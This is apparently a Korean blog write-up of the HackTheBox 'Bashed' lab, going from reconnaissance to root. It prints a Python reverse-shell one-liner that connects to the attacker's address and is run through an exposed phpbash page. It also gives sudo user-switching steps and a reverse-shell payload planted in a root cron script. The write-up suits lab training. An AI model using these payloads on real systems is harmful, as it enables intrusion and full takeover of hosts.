HackTheBox - Bashed환경 실습
진행 절차
Reconnaissance(정찰)
Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 nmap을 통해 확인해본 결과, HTTP가 Open되어 있음을 확인
명령어 |
root@kali#nmap –sV –sC 10.10.10.68 |
Step 2. 디렉토리 스캔 도구인 dirb를 통해 조회해본 결과, 다수 디렉토리 접근한 것으로 확인되었으며, 취약점 스캔 도구인 nikto를 통해 스캔 시, 디렉토리 인덱싱 취약점이 있는 것으로 확인
명령어 |
root@kali#dirb http://10.10.10.68 |
root@kali#nikto –h http://10.10.10.68 |
Execution(실행)
Step 3. 홈페이지 메인 페이지는 phpbash에 대해 소개하는 페이지로 별다른 특이사항은 없었으며, 디렉토리 인덱싱 취약점이 있는 페이지 점검하는 과정에서 '/dev/' 경로에 'phpbash.php' 파일에 접근 시 bash 환경으로 시스템과 통신할 수 있는 페이지를 발견. 이러한 환경인 경우 공격자와 리버스 커넥션을 맺을 수 있는 취약점이 존재하므로, 이 취약점을 이용하여 리버스 커넥션 연결 시도 시, 정상적으로 연결됨을 확인
명령어 |
root@kali#python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
root@kali#nc –lvnp 9999 |
Step 4. 권한 상승을 위하여 스캔해보니 www-data 사용자가 scriptmanager 사용자로 명령을 실행할 수 있다는 사항을 발견하여, 사용자 변경하는 명령어 실행 시 scriptmanager로 사용자 변경됨을 확인.
명령어 |
$sudo -l |
$sudo –u scriptmanager /bin/bash |
Step 5. 변경된 사용자(scriptmanager)로 내부 스캔 시, 루트 경로에 scriptmanager 권한으로 실행되는 디렉토리가 있는 것으로 확인. 해당 경로로 접근 시, test.txt 파일을 오픈해 작성하는 스크립트가 있는 것으로 확인되며, test.txt 변경일자가 계속해서 변경되는 것으로 확인했을 때 crontab이 동작하고 있을 것으로 추측
명령어 |
python3 –c ‘import pty;pty.spawn(“/bin/bash”)’ |
Privilege Escalation(권한 상승)
Step 6. 루트 권한 상승을 위하여 리버스 쉘 연결하는 쉘 코드 삽입 시 root 권한 리버스 쉘 획득 성공. crontab 확인 했을 때 /scripts 경로에 python 프로그램이 계속 실행되도록 동작하고 있는 것으로 보이며 루트권한으로 실행되어 루트 권한 탈취가능한 것으로 판단.
명령어 |
scriptmanager@bashed:/scripts$echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > exploit.py |
'hackthebox' 카테고리의 다른 글
HackTheBox - Nineveh (0) | 2023.11.22 |
---|---|
HackTheBox - Cronos (2) | 2023.11.17 |
HackTheBox - Beep (0) | 2023.11.15 |
HackTheBox - Nibbles (0) | 2023.11.14 |
HackTheBox - Shocker (0) | 2023.11.10 |